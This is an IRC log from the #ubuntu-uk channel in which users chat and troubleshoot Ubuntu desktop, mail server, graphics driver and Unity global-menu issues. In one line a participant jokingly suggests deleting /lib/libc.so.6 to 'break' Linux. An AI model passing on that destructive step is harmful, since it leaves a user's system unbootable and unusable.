<DJones> HazRPG: I wouldn't worry about it, just put it down to experience and do what I've done, add the email sender to a mental /ignore list :)
<HazRPG> shauno: I don't want to reply to him and say I don't understand what he means, because well you should never feed the trolls... but well his explanation isn't clear
<brobostigon> shauno: yay, :)
<HazRPG> DJones: hehe :P
<brobostigon> shauno: still smae procedure, an option, from alternate ?
<shauno> brobostigon: it may be on the alternate disc, or the server install, or ..  but one of the disks has a boot option for a minimal install.  handy for sticking new VMs out that maybe don't require every creature comfort
<brobostigon> shauno: alternate is what i remember using before.
<HazRPG> shauno: I might just start putting a list on the first line to show who I will be replying to
<shauno> my backup MX has a footprint of 402Mb and using 22Mb of ram.  ubuntu can still do slim :)
<brobostigon> shauno: definatly, :)
<brobostigon> cdimages.ubuntu.com is fast tonight, :)
<HazRPG> shauno, brobostigon: cool
<shauno> I believe the latest nightly is mildly borked, so that's probably a good thing
<brobostigon> shauno: i am going bck to alpha2.
<andylockran> AlanBell: exported the setup to xml, reinstalled wordpress and reimported
<andylockran> problem solved.
<brobostigon> the startup disk making prog, thinks it can make an alternate cd persistant, lol. :)
 * dwatkins returns from domesticity
<brobostigon> ok, bbl. :)
<shauno> anyone speak fluent imap?  why is "login username password" repling "login BAD Error in IMAP command received by server."
<AlanBell> . login
<AlanBell> the ". " is important
<shauno> ah.  thought that was a list bullet
<shauno> cheers :)
<AlanBell> yeah, so did I once :)
<shauno> well, answers why a folder isn't showing up in my client.  it doesn't show up in list either.  back to the drawing board.
<shauno> ah, there we go.  apparently dovecot doesn't let you nest folders.  you have to pretend to.
<bigcalm> shauno: could have told you that :S
<shauno> figuring it out is half the fun :)
<shauno> I should have known putting a folder inside a folder isn't how you put a folder inside a folder.  obvious is too easy
<bigcalm> I knew about dovecot not liking nested folders. So I didn't bother to look any further
<mgdm> I've never noticed it having a problem
<shauno> they work, just less than obvious.  it's $maildir/.folder.subfolder/
<bigcalm> Oh, I used mbox
<shauno> the silly "we've been able to nest folders since msdos3" in me was expecting $maildir/folder/subfolder/
<bigcalm> This is back in the day of doing stuff locally
<mgdm> Maildir FTW
<bigcalm> Quite
<bigcalm> Back in the day I cared enough to write this script: http://lazygnome.net/projects/md2mb/0.1/md2mb-pl.txt
<shauno> I think I've still got a spool as mbox.  procmail is so adamant it's going to lock it, that it creates it just so it can
<shauno> bigcalm: did that work?  I thought mails in mbox were meant to be separated with 4 nulls
<bigcalm> shauno: worked back then
<bigcalm> I haven't done such things since 2006
<pr0ph3t> hi all
<Azelphur> hmm, I'm using devede to create some DVD's, it appears to be putting out 7.8GB Images which brasero refuses to burn
<bigcalm> Do you have dual layer media?
<Azelphur> nope
<popey> that'll be why
<popey> single layer is 4.2GB
<Azelphur> ah, I just found the dropdown
<Azelphur> there goes 16 hours of DVD encode :D
<popey> does it have a "make it fit, use a crowbar if necessary" option?
<Azelphur> nope, it has a media size dropdown
<Azelphur> I must have set it wrong
 * popey pokes MartijnVdS with the grammatically questionable http://www.google.nl/intl/nl_ALL/images/logos/video_logo.gif
<andylockran> howdy
 * hamitron wonders if popey is alive
<andylockran> quiet tonight
<andylockran> hamitron: I'm surprised it isn't scripted ...
<hamitron> :)
<hamitron> i was on his server earlier and everything broke
<hamitron> :/
<hamitron> it seemed to cause an issue I'm having with my gaming rig
<hamitron> NIC just stops working
<popey> i am
<popey> i have had up and down internet today
<hamitron> hmmm
<hamitron> could that make my tcp/ip stack fill with dead packets maybe?
<hamitron> I could just blame MS as usual, but want to actually fix it ;)
#ubuntu-uk 2011-02-22
<andylockran> that's annoying.  I want to do something I think is quite simple.
<andylockran> How can I get wordpress to display a category as a page. aggregating all the posts in that category in the same way the frontpage does it for all the categories?
<directhex> andylockran: um, it doesn't do that?
<directhex> andylockran: isn't just visiting category/foo/
<directhex> bah
<directhex> andylockran: isn't just adding category/foo/ to the url good enough?
<andylockran> directhex: kinda, but I wanted to change the landing page to a particular category
<andylockran> then have menu items across the top for two other categories
<andylockran> doesn't seem able to do that without php hack.
<kaushal> hi
<kaushal> IEs4Linux 2 is developed to be used with recent Wine versions (0.9.x). It seems that you are using an old version. It's recommended that you update your wine to the latest version (Go to: winehq.comhttp://winehq.com).
<kaushal> Please help.
<kaushal> How do i fix this issue ?
<Azelphur> read error message, follow instructions in error message, profit.
<MartijnVdS> Azelphur: nah, why would you _read_ error messages?
<Azelphur> indeed, madness
<kaushal> MartijnVdS: please suggest further
<MartijnVdS> kaushal: read the error message: check which version of wine you're using
<MartijnVdS> kaushal: and if it's supported by ies4linux
<Myrtti> I didn't even know ies4linux was developed anymore
<Myrtti> oh
<Myrtti> it is
<Myrtti> after three years of inactivity
<HazRPG> hey hey
<HazRPG> hey
<jpds> ho ho
<jpds> ho
<MooDoo> hello all
<popey> lo
<HazRPG> MooDoo, popey, jpds: Morning guys :)
<MooDoo> :D :D :D
 * MooDoo = daddy again :D
<TheOpenSourcerer> congrats MooDoo
<AlanBell> morning
<TheOpenSourcerer> morning AlanBell
<AlanBell> wow MooDoo congrats!!
<MooDoo> :)
<MooDoo> thanks all
<TheOpenSourcerer> what time are you heading off to town AlanBell
<HazRPG> Woah guys! How would you like to control technology with your mind! http://www.ted.com/talks/tan_le_a_headset_that_reads_your_brainwaves.html
<HazRPG> MooDoo: congrats dude :)
<AlanBell> TheOpenSourcerer: 4pm maybe
<TheOpenSourcerer> Cool. Can I collect the projector after lunch?
<AlanBell> sure
<TheOpenSourcerer> OK laterz.
<TheOpenSourcerer> ty
<DJones> Good moaning
<HazRPG> wow, this makes no sense
<HazRPG> I was just watching a video on youtube, and it played in fullscreen no problem, but most videos just don't
<HazRPG> I wonder if its because that video was 1080p, and most others are less than that (only thing I can tell so far that could be affecting it)
<Knightwise> morning everyone
<HazRPG> heh, yeah, just watched another 1080p video and that was fine too - but everything else is weird :S
<Knightwise> man , i love the high resolution of stuff on my macbook airs screen
<Knightwise> even though its only 1280 by 800 , when i work in terminantor .. its just crisp and awesome
<dwatkins> Hi folks :)
<dwatkins> What's terminantor, Knightwise?
<HazRPG> dwatkins: hey dude
<dwatkins> hey HazRPG - how's the video playback situation?
<HazRPG> dwatkins: still a nightmare
<Knightwise> terminator is a terminal application that lets you run multiple command line windows dwatkins
<dwatkins> bah, HazRPG
 * jpds has got the tshirt, seen the movie.
<dwatkins> Knightwise: oh I see - I use GNU Screen at the curses level for that
<HazRPG> I would it out, it must be a bug in flash somehow - ted.com videos work just fine in fullscreen
<HazRPG> and also youtube videos that have 1080p work fine in fullscreen
<HazRPG> its just videos at 720p or below that doesn't seem to stretch out properly - and I really don't understand why!
<HazRPG> dwatkins: heh yeah I've started using screen recently too :P
<dwatkins> I really like GNU Screen, saves me loads of hassle.
<Knightwise> dwatkins: yep , but terminator is a little more versitile,
<Knightwise> do you prefer gnu screen to byobu or is that the same thing dwatkins
<HazRPG> hmm, I would have thought screen was better - since if you lose connection to your machine your ssh-ing into, you can easily result all work
<dwatkins> I'm not familiar with byobu.
<AlanBell> it is screen, but set up right
<dwatkins> ah with the bar at the bottom, AlanBell?
<AlanBell> yup
<dwatkins> I noticed that's configured on Ubuntu with screen, I wrote my own... http://rowla.dyndns.org/blog/2009/09/27/gnu-screen-status-line-and-other-settings/
<Knightwise> the thing is my resolution is not that great when i'm in the commmand line mode
<Knightwise> when im in the gui i have a higher resolution , so i can fit more on my screen with terminator
<dwatkins> Knightwise: I have an Eee 901, so I have similar issues with resolution
<DJones> AlanBell: What does byobu offer over screen, i've always used screen for irssi & occasional terminal access and not found that there's anything extra I need
<AlanBell> http://manpages.ubuntu.com/manpages/natty/en/man1/byobu.1.html
<Knightwise> lets see, ive got centerim , irssi , alpine (i should try mutt) .. now i need a good cli twitter client and i'm good to go
<MooDoo> Knightwise, bitlbee
<AlanBell> http://www.floodgap.com/software/ttytter/ looks interesting
<MooDoo> http://wiki.bitlbee.org/HowtoTwitter
<popey> krimzon2: I use twirssi
<popey> oops
<popey> that should have been to Knightwise
<popey> also bug 723012 :(
<lubotu3> Launchpad bug 723012 in xorg (Ubuntu) "Xorg segfaults on nouveau" [Undecided,New] https://launchpad.net/bugs/723012
<popey> also, my bug 674138 is wontfix
<lubotu3> Launchpad bug 674138 in Unity ""Global" appmenu breaks sloppy focus" [Low,Won't fix] https://launchpad.net/bugs/674138
<popey> unless I can find someone willing to make a patch
<popey> or I learn vala in a month
<jpds> popey: You could do both.
<DJones> The machine I was trying natty on I've had to put back to 10.10, it got to the point where I couldn't log in as a normal user without going through the recovery kernel and then after that it ended up I could only get to a command line system (old nvidia graphics, so I wasn't expecting much)
<AlanBell> popey: "patches welcome" is so much better than "no"
<popey> they are very much equivalent for a user
<popey> Me: My car is broken
<popey> Garage: You're welcome to find someone to fix it
<popey> net result, broken car
<HazRPG> I might be wrong, but shouldn't chrome come with flash?
<AlanBell> Garage: here are the tools and the Haynes manual
<popey> it does
<popey> net result, broken car, frustrated user
<AlanBell> HazRPG: chromium doesn't, but you can install it
<HazRPG> I thought I'd give this another try and see what happens, I uninstalled chrome then uninstalled flash from the menu... then went back and installed chrome straight from a download off google.com/chrome and well lo an behold no flash
<HazRPG> surely it should just install with it :S
<HazRPG> or does the 64bit version not have it...
<AlanBell> net result, user with dirty hands ends up knowing more about the car they just fixed
<popey> :)
<popey> AlanBell: show me the manual :)
<popey> (the manual that tells me how to diagnose issues with unity)
<JamesTait> Dumela!
<AlanBell> I had a look at vala the other day (had never heard of it before) I think it is a kind of double compiled c# but has nothing to do with mono
<AlanBell> (not sure the people I discussed it with knew much more than me)
<popey> :)
<AlanBell> anyhow, it isn't as nice as python, but it is comprehensible
<popey> any idea where global menu lives?
<DJones> HazRPG: Have you tried Chromium-browser from synaptic instead of Chrome from their website
<HazRPG> DJones: why would I do that? The only reason I'm doing this is because I'm trying to work out the issue with flash - I just found out that flash that comes with chrome is a much newer version than anyone else can get
<HazRPG> flash for chrome is 10.2.154.12
<HazRPG> (that's both win and linux years)
<HazRPG> users*
<ali1234> what's the problem?
<HazRPG> for mozilla, firefox and seamonkey on linux the version is 10.2.152.27
<DJones> HazRPG: ok, I was just thinking that because chromium-browser is a default app, maybe it might integrate better
<ali1234> chrome has a bundled version of flash, at least on windows
<ali1234> chromium i assume does not, since it's all open source - so it will use the packaged version of flash
<HazRPG> ali1234: yeah, as far as I knew it did on linux too - but I just uninstalled chrome and the flash from the repo - reinstalled chrome and I have no flash,  seems its been using the repo version this whole time
<ali1234> probably
<ali1234> what's the problem with flash anyway?
<HazRPG> ali1234: some videos don't fullscreen properly
<ali1234> twinview?
<HazRPG> I get a half-screen fullscreen effect
<HazRPG> ali1234: sadly yeah
<ali1234> it's a know issue
<ali1234> not fixed in any version of flash
<HazRPG> but its not all sites that cause it, only youtube videos of 720p or less
<ali1234> yes
<HazRPG> how bout 10.3 from the labs?
<ali1234> not tried it
<ali1234> but it's been broken since always
<ali1234> there's a bug about it on the adobe bug tracker
<ali1234> submitted by popey :)
<HazRPG> hurray :P
<ali1234> or possibly not sumbitted by popey, i thought it was
<ali1234> https://bugs.adobe.com/jira/browse/FP-5633
<bigcalm> Hi kids :)
<ali1234> https://bugs.adobe.com/jira/browse/FP-1949
<ali1234> https://bugs.adobe.com/jira/browse/FP-1566
<ali1234> https://bugs.adobe.com/jira/browse/FP-562
<ali1234> and so on
<ali1234> maybe popey did report one of these...
<ali1234> in any case, twinview and fullscreen is always problematic, even native linux apps can't get it right...
<popey> i did report one some time ago
<ali1234> would probably be more useful to pressure nvidia to support randr properly
<kazade> o/
<kazade> good luck with that ali1234, Nvidia have been promising that for years :/
<HazRPG> what's randr?
<ali1234> how xorg does multiscreen now
<HazRPG> also, nah 10.3 still doesn't work for fullscreens on youtube :/
<kazade> Resize and Rotate, it's the X extension that changes resolutions
<HazRPG> kazade: ah cool
<kazade> HazRPG, that's why Nvidia has its own control panel for adding monitors, switching res etc.
<kazade> can you imagine if Nvidia refused to support Windows' ChangeDisplaySettings function?
<ali1234> because when nvidia driver was first made, randr was unfinished and unusable, and they never updated their driver to use it since then
<HazRPG> heh
<ali1234> not that that is a good excuse
<kazade> ali1234, they've had plenty of time and it's hardly rocket science compared to the rest of a gpu driver :)
<AlanBell> popey: I think it is here in unity-private/panel https://code.launchpad.net/~ubuntu-desktop/unity/ubuntu
<AlanBell> gord would know the right place
<kazade> popey, just looking at your Xorg,log
<kazade> do you have an /etc/X11/xorg.conf?
<gord> popey, AlanBell - global menu is actually a complicated effort that requires more than one place, there is code in unity-panel for displaying it, appmenu and appmenu-gtk/qt get the menus from the programs and unity-panel-service handles the logic behind it
<gord> depends on what you want to do with it
<kazade> popey, sudo mv /etc/X11/xorg.conf /etc/X11/xorg.conf.old
<kazade> it's stll trying to load the nvidia driver, and trying to use it's settings (like NoLogo)
<AlanBell> gord: well popey wants to implement focus follows mouse, and I want to clone it onto other monitors
<kazade> popey, (I'm not saying that will fix it, but it's not helping matters)
<gord> AlanBell, you had the right place, popey you want appmenu i think, but i don't know a whole lot about that - isn't focus follows mouse a window manager thing?
<ali1234> focus follows mouse and global meu? seriously?
<ali1234> how will you get from the focussed window to the menu without the window defocussing and therefore the menu changing to something else?
<kazade> gord,  will there be an easy way to disable the global menu? (I mean, without uninstalling indicator-appmenu altogether)
<mungojerry> kazade, i disabled it easily in gnome-classic natty
<kazade> mungojerry, Unity doesn't treat it like an applet
<mungojerry> you want to disable it in unity?
<kazade> yep
 * MartijnVdS just disabled unity
<MartijnVdS> problem solved!
<kazade> The unity dock and dash are awesome, the global menu is just a silly decision (IMHO)
<MartijnVdS> too bad compiz is broken though (snap-while-mobing)
<MartijnVdS> kazade: the dock is on the left.. I _use_ the left side of my screen already
<kazade> I'm looking forward to Elementary OS
<kazade> they are focusing on really usable apps (like a simple mail client etc.) http://www.youtube.com/watch?v=YFwHTcSZjAk
<mungojerry> elementary would get more users if they offered a script to switch to elementary rather than new install
<kazade> mungojerry, well, the OS isn't done yet :)
<ali1234> docks :(
<kazade> and the packages don't compile on Lucid (Wingpanel doesn't at least)
<kazade> not without fiddling..
<mungojerry> OT: "Former Stereophonics drummer Stuart Cable died after he tried to lose weight on a vodka diet, according to his girlfriend"
<mungojerry> hmm
<HazRPG> has anyone used the nvidia 266.58 or the 265 drivers from their site?
<HazRPG> I know ubuntu only has up to 260
<ali1234> hell no
<HazRPG> ali1234: why not?
<ali1234> the driver i have now works fine
<ali1234> why would i mess up my system installing unmanaged drivers?
<bigcalm> To be on the edge?!
<ali1234> if i wanted that i would install gentoo
<bigcalm> ;)
<MartijnVdS> bigcalm: Why would you want to be on a member of U2?
<HazRPG> I once read/heard somewhere that you haven't truly used linux if you haven't attempted to break it
<MartijnVdS> HazRPG: best way to learn how something works is to break it, then put it back together
<bigcalm> MartijnVdS: maybe influence and tell him to make more music like they used to in the 80s
<jpds> HazRPG: Delete /lib/libc.so.6 - and try to use Linux after that.
<kazade> jpds, I think Thingymebob just tried that ;)
<gord> kazade, i'm not sure, removing appmenu-gtk and appmenu-qt seems to me to be the best way
<kazade> gord, it's still a bit sucky, what if I don't want the globel menu, but my gf does? (theoretically, she doesn't like it either :P )
<bigcalm> kazade: differnet users?
<kazade> bigcalm, if I have to sudo apt-get remove indicator-appmenu ?
<kazade> it's all or nothing
<mungojerry> kazade, mind you ,it's best not to remove those bits if you're bug testing. i'm sure somebody will come up with a clean solution and put it into ubuntu tweak upon release :)
<bigcalm> Ho hum
<gord> kazade, oh wait, i forgot about another method. UBUNTU_MENUPROXY=0
<kazade> mungojerry, I'm bug testing that non-global menu users don't have bugs ;)
<AlanBell> UBUNTU_MENUPROXY=0 sounds interesting, what does that do?
<gord> having that environment variable set would stop appmenu from exporting menus
<jpds> kazade: Potentially
<HazRPG> jpds: hmm, as far as I know doesn't a lot of the system actually require that library?
<ali1234> mungojerry: this is specifically what worries me about unity - that bug reports are going to be swept under the carpet if you don't use it
<kazade> I've had one bug fixed thus far which was triggered by removing the global menu
<kazade> I just wish it was an option on the unity plugin, I mean, I'm not alone in not wanting it
<AlanBell> do mac users like their global menu?
<ali1234> mac users like whatever steve tells them to like
<mungojerry> kazade, certainly - it's the biggest showstopper for unity for me too.
<gord> AlanBell, they seem to, don't often hear of people complaining
<kazade> AlanBell, here's the thing. Global menus are great if you have a smaller desktop (and no FFM). But when you get to a certain resolution, the fitt's law advantages get outweighed by the sheer mouse travel distance and detachment from the window
<kazade> dual monitors make that worse
<ali1234> kazade: the worst thing about global menu is if you miss clicking on the menu by 1 pixel, and then you have to reselect the window (which may be on another monitor)
<kazade> they don't work great if you have multiple windows open (e.g. they are better applied to fullscreen apps)
<AlanBell> I have been using unity in 10.10 since release, buttons on the left no problem, I am beginning to understand the unity panel, global menu I am still not a fan of
<kazade> and the most irritating thing about the Unity design process is they chose to use the global menu BEFORE looking at the use cases
<kazade> the current attitude is "we'll sort something out for dual monitors"
<kazade> for a desktop OS that's a bit of a backwards design process
<ali1234> seems to me that unity is heavily aimed at netbooks - and netbooks are dead now
<mungojerry> i've also given the left side buttons their longest trial yet. had to switch back to RHS since i kept closing the application instead of minimising it. my brain doesn't manage the LHS well
<AlanBell> I have a 2048x1152 monitor and a laptop to the right of it, when using apps on the laptop screen the menu is a *long* way from the app
<kazade> I'd love it for the global menu to only kick in on fullscreen, but even that would mean having multiple global menus on dual/triple monitor setups
<ali1234> ooo Qt for android
<gord> if any of you guys want to add multi-monitor support for the global menu, be my guest :) FF is soon - would love to add it but finding time is hard
<kazade> gord, I think the issue is that any kind of multi-monitor support on global menu will be just a hacky patch over the fact that they don't really work :)
<kazade> I'd be happy if the global menu was disabled if you have above a certain resolution or multiple monitors
<kazade> like >= 900px vertical res
<gord> kazade, i already showed you how to disable it
<kazade> yeah that's fine for me, but I'm a programmer...
<daubers> Anybody good with dealing with stupid tape drives?
<ali1234> demon DNS has fallen over :(
<ali1234> can anyone tell me the ip address of gb.archive.ubuntu.com?
<jpds> ali1234: 194.169.254.10
<ali1234> ty
<Neoti01> why not use OpenDNS ?
<jpds> ali1234: 2a01:450:10:1::10
<jpds> Neoti01: Because I know the IPs by heart.
<gord> ali1234, also in case you need it , 8.8.8.8 , google dns :)
<gord> Neoti01, opendns are slow and redirects and ew
<czajkowski> Good morning
<ali1234> having the repo in /etc/hosts will make installs faster anyway :)
<MooDoo> czajkowski, wheres the aloha! ?
 * AlanBell points czajkowski to the scrollback at 08:14
<bigcalm> popey: poke
<czajkowski> MooDoo: Aloha
<czajkowski> MooDoo: congrats
<czajkowski> AlanBell: he also tweeted it
<MooDoo> czajkowski, thanks and thanks :)
<DJones> MooDoo: Congrats
<MooDoo> DJones, thank you
<ubuntuuk-planet> [Jonathan Riddell] Owncloud Packaged - Free Trial! Samba Support - At Last - http://www.kdedevelopers.org/node/4391
<AlanBell> mac people do discuss global menu and multi-monitors http://forums.macrumors.com/showthread.php?t=352532
<AlanBell> 70
<czajkowski> MooDoo: so how many will you have now ?
<MooDoo> czajkowski, 2.......jimmy will be 3 when the baby is born
<czajkowski> you know it's a boy already ?
<MooDoo> czajkowski, no.....we don't want to know until he/she comes out
<czajkowski> MooDoo: so why jimmy!
<AlanBell> wake up czajkowski :)
<DJones> For a laptop limited to 512Mb ram & 32Mb nvidia graphics, I'm trying to decide whether to install xubuntu or lubuntu, I'm quite tempted to try lubuntu but would anybody recommend one over the other and for what reason?
<MooDoo> czajkowski, ah sorry i think there has been some confusion.....jimmy is my first child, he will be 3 when the new baby is born
<czajkowski> MooDoo: oh right
<czajkowski> AlanBell: I am trying!
 * AlanBell scps more coffee to czajkowski 
 * MooDoo hugs czajkowski :) i still love you
<MooDoo> ;)
 * czajkowski is even on coke not diet coke today
<czajkowski> today is fail
<czajkowski> :s
<jpds> czajkowski: You said it was a good morning earlier on.
 * MooDoo pokes czajkowski suck it up kiddo.....then runs for not showing any respect :)
<mungojerry> djones i actually found lubuntu slightly more modern, and better choice of apps
<DJones> mungojerry: That was the impression I got looking at the screenshots etc, it looks very polished
<mungojerry> note that openoffice isn't default though
<mungojerry> otherwise good defaults (e.g. chrome, pidgin)
<mungojerry> djones, see this list https://wiki.ubuntu.com/Lubuntu/Applications
<DJones> mungojerry: Thanks, looking at it now
<mungojerry> i end up running ubuntu on my eee pc 701 usually, although i've tried a million others.
<s-fox> Hello.
<MooDoo> morning s-fox
<mungojerry> lubuntu might make it next time though
<s-fox> Hi MooDoo :)  You okay
<s-fox> ?
<MooDoo> s-fox, oh i'm feeling awesome at the moment :)
<s-fox> Oh? :)
<MooDoo> s-fox, new baby due in sept :)
<s-fox> Oh wow, congrats!
<MooDoo> thanks
<mungojerry> wow, this is the luurvve room atm
<mungojerry> births and marriages :P
<MooDoo> eerrr wouldn't advise marriage ;) lol
<DJones> My wife says that to me as well
<screen-x> morning all :)
<screen-x> MooDoo: Marriage rocks :D
<MooDoo> screen-x, i know i was teasing :)
<screen-x> ;-)
 * screen-x reads up a bit more
<screen-x> congratulations MooDoo :)
<MooDoo> screen-x, cheers :)
<AlanBell> czajkowski: you or Mark coming to the BCS later?
<popey> BigRedS: ?
<popey> oops
<kazade> popey, did you see my messages about your graphics bug?
<popey> yeah, one mo
<popey> kazade / AlanBell / ali1234 / gord, for clarity, I want to provide a patch which disables global menu if ffm is on
<popey> because that is what mark said would be accepted by that bug report
<popey> kazade: i do have an xorg.conf but its very basic and has nvidia # out
<kazade> popey, just remove it
<popey> booting...
<kazade> there are warnings in the log about it
<popey> http://www.google.co.uk/products/catalog?hl=en&q=netgear+universal+wifi&um=1&ie=UTF-8&cid=4837233609716251624&ei=MpNjTfrEIMPbgQfM-dGlAg&sa=X&oi=product_catalog_result&ct=result&resnum=5&ved=0CEUQ8wIwBA#
 * Laney likes that spotify works with the sound menu now
<popey> boss bought one of them
<popey> cunning
<popey> turns ethernet into wifi
<popey> useful if you have a device that has no wifi, or unsupported wifi
<kazade> popey, that would be useful for a sky box..
<kazade> they only have ethernet :)
<popey> kazade: removing xorg.conf made no difference
<kazade> bah
<kazade> ok, thought it was worth trying :/
<screen-x> ooh, I'd been looking for a cheap one of those..
<DJones> kazade: I was just thinking that about a sky box, Sky offer a wireless adapter for the HD boxes, but I think it was about Â£69
<ali1234> you can probably avoid paying for the sky branded one by reflashing the IDs on a generic one...
<mungojerry> btw popey i saw your tweet about virgin media packet loss...i had the same issues usually during half term and weeknights. i called virgin helpless desk with proof of packet loss and they said it was my antivirus or firewall. i tried to explain that i had even removed devices attached to my router, but had enabled ping on the router, which was still seeing dropped packets. he said "disable firewall on your windows machine". i said, stop being
<mungojerry> i used to have virgin cable tv + broadband + phone + mobile...now i am no longer a customer of them
<ali1234> the problems during weeknights are their aggressive packet shaping
<ali1234> which they claim they don't do but obviously do
<mungojerry> unfortunately it caused 30-50% packet loss
<MartijnVdS> ali1234: bufferbloat?
<ali1234> yes, it will
<mungojerry> i recorded all my calls with them. unfortunately i failed to record the call where i cancelled the service
<ali1234> anyway, the correct answer when they ask you to do stupid things like "disable your firewall" is to say "i have"
<mungojerry> then they tried threatening me to retrieve a late cancellation fee
<screen-x> I would have though 20Megabit with 30% packet loss would be better than the 1.5Megabit ADSL I currently have.
<mungojerry> ali1234, i asked him to try pinging me, and he said, sorry i do not have that facility. because he was a call-centre monkey . and wouldn't pass me to manager
<ali1234> don't confuse them
<ali1234> just say it's not working and act dumb
<ali1234> it's the only way
<popey> yeah
<popey> and say that you have done stuff when they tell you to
<popey> "disable firewall"
<popey> (wait a while)"
<popey> "Ok, done that!"
<ali1234> they can't skip the screens
<screen-x> <clickty><click> done
<mungojerry> i did phone every night for 2 weeks trying different methods
<kazade> popey, was it the xorg-edgers ppa you added?
<mungojerry> they refused to refund the cost of the call because they said it was my problem
<mungojerry> thieves
<screen-x> I tried the cold calling anti script the other day, it was much fun :)
<screen-x> The guy on the other end was must suprised that I was asking him the questions :)
<mungojerry> screen-x , what's that?
<screen-x> http://www.xs4all.nl/~egbg/counterscript.html
<screen-x> (SFW)
<ali1234> someone needs to make that into a Qt app and start cataloguing the results
<mungojerry> i had a cold call from one of my utility suppliers the other day, they asked for my full address for seucirty reasons before continuing with the call.
 * screen-x is currently scared of posting links after his previous one went wrong..
<mungojerry> needless to say the call didn't last long
<mungojerry> LOL @ screen-x
<ali1234> i have had where they call you and ask for security details, but they have always given me a number to call back when i refused
<ali1234> so in your case it probably was a scam
<X3N> anyone know if there is going to be an ubuntu varient based on the GNOME 3 stack?
<kazade> popey, Looks like this bug: https://bugs.freedesktop.org/show_bug.cgi?id=31676
<lubotu3> Freedesktop bug 31676 in Driver/nouveau "garbled text after loading nouveau module on EFI boot; X driver thinks there are no connected outputs" [Normal,New]
<popey> kazade: i have no ppa's
<mungojerry> wow, moved my redhat mirrors onto my SAN..i can now kickstart a server in 5 minutes :)
<kazade> popey, "Added experimental mesa/dri libs for nouveau and restarted" ...
<kazade> you did it from source?
<kazade> oh right I see
<kazade> nm
<popey> no
<dogmatic69> o/
<kazade> popey, might be worth testing xorg-edgers, if it works then at least they know where to start looking for a fix :)
<popey> sudo apt-get install ligbl1-mesa-dri-experimental
<popey> thats all I did
<kazade> ok, I didn't realize Ubuntu had a package like that :)
<popey> which is (I believe) gives you basic opengl support in nouveau?
<kazade> yeah sounds plausible - it is probably a kernel mismatch or something..
<kazade> nouveau DRM lives in the kernel, perhaps the experimental dri drivers haven't been updated to match
<kazade> (just guessing)
<popey> desktop has same packages
<popey> and works
<kazade> yeah, I dunno :)
<mungojerry> sometimes unity shows the word "panel" in the top left in the unity panel menu where the window title usually appears..anyone else seen that?
<ali1234> if you dist-upgrade to natty, do you keep your existing gnome desktop?
<Laney> I lost my window manager, but otherwise yeah there is a 'classic' session
<ali1234> i mean by default...
<Laney> i never saw unity
<Laney> so probably
<davmor2> morning all
 * czajkowski tickles davmor2 
<MooDoo> davmor2, good morning kind sir
<davmor2> MooDoo: You must have me mixed up with someone else :D
<MooDoo> davmor2, ello me ole slapper ;)
<davmor2> MooDoo: awlright me owld mukka
<X3N> Do I still need to get the alternate cd image to get full disk encrption options?
 * davmor2 licks czajkowski hands to stop her tickling
<screen-x> X3N: you could setup an encrypted disk an install into that from the live cd, but it wouldnt boot without some tweaking post install.
<MooDoo> davmor2, czajkowski you two get a room
<screen-x> X3N: I do that when installing onto LVM with a live cd.
<czajkowski> davmor2: too far!
<X3N> hmm, i'll just use an alternate cd image
 * czajkowski sends davmor2 to the naughty step 
<MooDoo> czajkowski, can i go too school marm ;)
<davmor2> czajkowski: well it was that or slapping your hands and I didn't want to hurt you :D
 * DJones hands czajkowski some antiseptic hand wash
 * AlanBell passes czajkowski a bottle of stop-n-grow
<screen-x> nasty
 * czajkowski frowns 
<MooDoo> czajkowski, turn that frown upside down :)
<czajkowski> I will kick
<MooDoo> czajkowski, behave....
<AlanBell> http://www.expresschemist.co.uk/stop_n_grow_brush-on_liquid.html for those wondering what it is
 * davmor2 gives czajkowski some chocolate and apologises 
 * AlanBell ponders growing a beard of some kind
<DJones> AlanBell: Don't, it'll terrify the chickens
<screen-x> AlanBell: doit doit
 * Knightwise seriously doubts all of you
<kazade> AlanBell, name a person on which a beard looked cool...
<kazade> Aside from Captain Birdseye obviously
 * Knightwise thinks of RM stallman and disagrees
<AlanBell> kazade: design team standards for beards -> http://design.canonical.com/brand/10.%20Photography%20treatments.pdf
<kazade> :)
<AlanBell> at the moment it looks more like "hasn't shaved for a week" so I think I need to do something to make it look more intentional
<kazade> AlanBell, http://reverendted.files.wordpress.com/2007/03/jono_wolves_rounded.png
<kazade> you can't get more intentional than that ;)
<DJones> kazade: How about http://media.social.msn.com/images/blogs/test/41_1747_20100621205611_johnny_depp_pirates.jpg for looking cool with a beard
<mungojerry> does anyone here use checkgmail? looks like it won't work for unity :(
<kazade> DJones, fair point, ok, so the rule of thumb is you can pull off a beard if you are Johnny Depp
<AlanBell> DJones: don't think I am quite ready for plaits in it
 * DJones is also thinking about ZZ Top as well
<screen-x> http://www.tomcunliffe.com/ <-- looks good with a tache, in a nuatical way..
<AlanBell> http://www.no-shave-november.com/beardtypes.jpg so many options
<X3N> why isn't that called movember.com :(
<kazade> AlanBell, Super Mario, it's gotta be!
<DJones> Hmmh, Grow a beard in november, divorce in december
<davmor2> kazade: santa claus
<kazade> DJones, I'm pretty sure my GF would leave me if I grew a beard :p
<MartijnVdS> kazade: but would you leave her if she grew one?
<kazade> eww, hell yeah!
<Baikonur> id your dad doesn't have a beard, you have two moms
<Baikonur> *if
<mungojerry> anyone gmail users here using a gmail notify program?
<dogmatic69> yes
<dogmatic69> docky
<MartijnVdS> no I just keep a tab open
<MartijnVdS> google has its own notifications (with chromium) now
<dogmatic69> that too, but if you pin the tab in chrome you cant see that
<mungojerry> dogmatic69, are you planning to use unity? if so, how do you expect to get notifications?
<MartijnVdS> dogmatic69: it has _desktop_ notifications
<dogmatic69> unity?
<MartijnVdS> dogmatic69: no. like this; http://onepixelahead.com/2010/05/31/html5-notification-example/
<dogmatic69> MartijnVdS: does not work for me
<MartijnVdS> dogmatic69: uhm, sorry.. this is the example page: http://www.onepixelahead.com/demos/html5Notifications/html5_notification_test.html
<dogmatic69> ive known about chromes notices for about a year ;)
<popey> mungojerry: i use the built in notification in chrome
 * mungojerry is firefox user :(
<dogmatic69> *firefail ;)
<MartijnVdS> popey: I want chromium to use platform notifications though :(
<mungojerry> it's an ugly hack to require chrome browser open all the time
<mungojerry> and it doesn't use ubuntu notifications
 * screen-x requires a browser open all the time anyway
<screen-x> but would like chrome to use libnotify :)
<mungojerry> ideally there would be a unity launcher icon that updates with number of emails and sends a notify message
<MartijnVdS> mungojerry: there's gmail-notifier, that integrates with the messaging menu
<MartijnVdS> the indicator, that is
<screen-x> I just discovered yesterday there is a gmail lab thing that puts the number of unred messages in the favicon
<MartijnVdS> but I don't like it
